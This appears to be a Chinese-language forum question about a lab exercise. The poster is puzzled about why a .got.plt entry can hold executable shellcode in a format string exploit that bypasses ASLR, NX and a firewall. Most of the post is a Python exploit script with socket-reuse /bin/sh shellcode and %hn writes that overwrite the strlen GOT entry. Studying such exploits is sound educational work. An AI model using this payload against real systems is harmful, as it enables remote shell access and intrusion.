我正在做一个实验,其目的是使用格式字符串利用 + 套接字重用 Shellcode 绕过 ASLR + NX + 严格防火墙。 在枚举阶段,二进制文件被标记为 NO RELRO。 更正建议用整个 shellcode 覆盖 strlen 函数入口的二进制文件的 .got.plt 部分 我了解 shellcode 是如何使用格式字符串 vuln 编写的,但我不明白为什么这部分 .got.plt 是可执行的? strlen 的 .got.plt 地址是 0x0804A41C,当我在 gdb 中使用 vmmap 检查权限时,我看到:没有可执行标志,只有 r 和 w,我哪里错了?
我在任何地方都找不到 .got.plt 部分被 shellcode 覆盖的示例
这里是 python 中的漏洞利用代码片段,似乎 shellcode 写在 strlen GOT 条目旁边:
from struct import pack,unpack
SC = "\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"
SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
offset = 5 #offset from format string on the stack
got_strlen = 0x0804A41C
sc_addr = got_strlen + 4
output = "" #for convenience, this will be the output buffer
#First we prepare values to be written
#First, the target address, so the GOT entry of strlen
output += pack("<I", got_strlen)
output += pack("<I", got_strlen + 2)
#Then, iterating over shellcode address of got + 4, +2 , +2, +2... as we prepare a series of writes for each shellcode two bytes (short write is 2 bytes)
for i in range(0,len(SC),2):
output += pack("<I", sc_addr+i)
#We prepare the shellcode address to be written
low = sc_addr&0xFFFF
high = sc_addr>>16
output += "%"+str((low-len(output))&0xFFFF) + "u%"+str(offset)+"$hn"
output += "%"+str((high-low)&0xFFFF) + "u%"+str(offset+1)+"$hn"
#Now, iterating over each two shellcode bytes, we calculate the format string value to be written in order to reflect the shellcode bytes in the remote location
last_written = high
for i in range(len(SC)/2):
val = unpack("<H", SC[2*i:][:2])[0]
output += "%"+str((val-last_written)&0xFFFF)+"u%"+str(offset+2+i)+"$hn"
last_written = val
print output